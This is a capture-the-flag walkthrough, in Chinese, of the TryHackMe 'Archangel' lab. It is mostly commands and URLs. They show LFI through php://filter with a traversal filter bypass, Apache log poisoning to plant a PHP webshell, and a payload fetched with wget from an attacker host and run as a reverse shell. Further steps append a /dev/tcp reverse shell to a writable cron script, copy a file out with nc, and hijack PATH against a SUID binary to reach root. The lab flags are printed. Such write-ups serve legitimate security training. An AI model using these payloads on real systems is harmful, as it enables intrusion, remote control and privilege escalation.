url : https://tryhackme.com/room/archangel
IP : 10.10.163.60
Recon
- 起手式,掃 Port
rustscan -a 10.10.163.60
- 80 , 22掃路徑
python3 dirsearch.py -u http://10.10.163.60/ -e all-
觀察網頁首頁,發現裡面有 /flag-
- 點進去後 ……

- 幹…
- 用 curl 觀察

- 他會自動跳轉到這邊 https://www.youtube.com/watch?v=dQw4w9WgXcQ
Dfferent Hostname
- 題目提示 :
Find a different hostname
- 可以觀察
mafialive.thm``sudo vim /etc/hosts- 加上這一行10.10.163.60 mafialive.thm - 接下來到 http://mafialive.thm/

- 就拿到了 flag再掃一次路徑
python3 dirsearch.py -u http://mafialive.thm/ -e all-http://mafialive.thm/robots.txt
/test.phphttp://mafialive.thm/test.php
觀察按下按鈕後的網址- http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php
- 感覺很明顯可以 LFI嘗試 Base64 Payloadhttp://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
- 成功 !!
- 觀察 test.php 原始碼http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
INCLUDE
Test Page. Not to be Deployed
Here is a button
- 又撿到一個 flag
thm{explo1t1ng_lf1}觀察原始碼發現,網址裡不能出現../..且一定要出現/var/www/html/development_testing``../..可以用.././..繞測試curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././etc/passwd成功!!
來看 apache access log- /var/log/apache2/access.log curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log- 成功 !!

- 往上拉發現所有的 host log 都在這邊,所以可以直接針對 ip 來做 nc 寫 php
nc 10.10.163.60 80 GET /?
再回去看一次 access log- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log- 成功出現 phpinfo !!
寫入 webshell- nc 10.10.163.60 80GET /
- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&A=ls下載 reverse shell-
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=wget 10.13.21.55:8000/s -O /tmp/s
- 本地準備監聽
nc -vlk 7877 - 執行 shell
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=bash%20/tmp/s - 成功接上
使用 python 讓 terminal 變漂亮- python3 -c 'import pty; pty.spawn("/bin/bash")'找 user flag-
thm{lf1_t0_rc3_1s_tr1cky}找到使用者資料夾內有 passwordbackup-
- 幹…再一次
- 等……等等,不會吧
- 該不會那個網址真 TM 是他的密碼 ?__?
好的,好險不是使用 Linpeas 掃- wget 10.13.21.55:8000/linpeas.shbash linpeas.sh找到一個可疑的 cron job
發現 這個 cron 會使用 archangel來執行,而且我們對/opt/helloworld.sh有讀寫權限
寫入 reverse shellecho "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> /opt/helloworld.sh等待一分鐘後,自動接上!!-

- 找到 flag
thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}觀察使用者中的 secret 資料夾中- 有一個 backup 檔案有 suid
透過 nc 把檔案傳出來- 監聽端 nc -l -p 1234 > meow - 發送端
nc 10.13.21.55 1234 哼!這種等級的 reverse,連 ida 都不用開,我們用 r2 就好ㄌ-r2 meow` aaas mainVV
- 可以看到他會用 system call 一個 cp
- 而 cp 沒有寫絕對路徑,所以可以用 path 進行誤導
誤導 path
- 在家目錄創一個 fakepath
mkdir fakepath export PATH=/home/archangel/fakepath:$PATH準備一個假的 cp 檔案-echo '#!/bin/bash' > cpecho "/bin/bash" >> cpchmod +x cp執行 backup-./backup取得 root 權限 !!-
thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}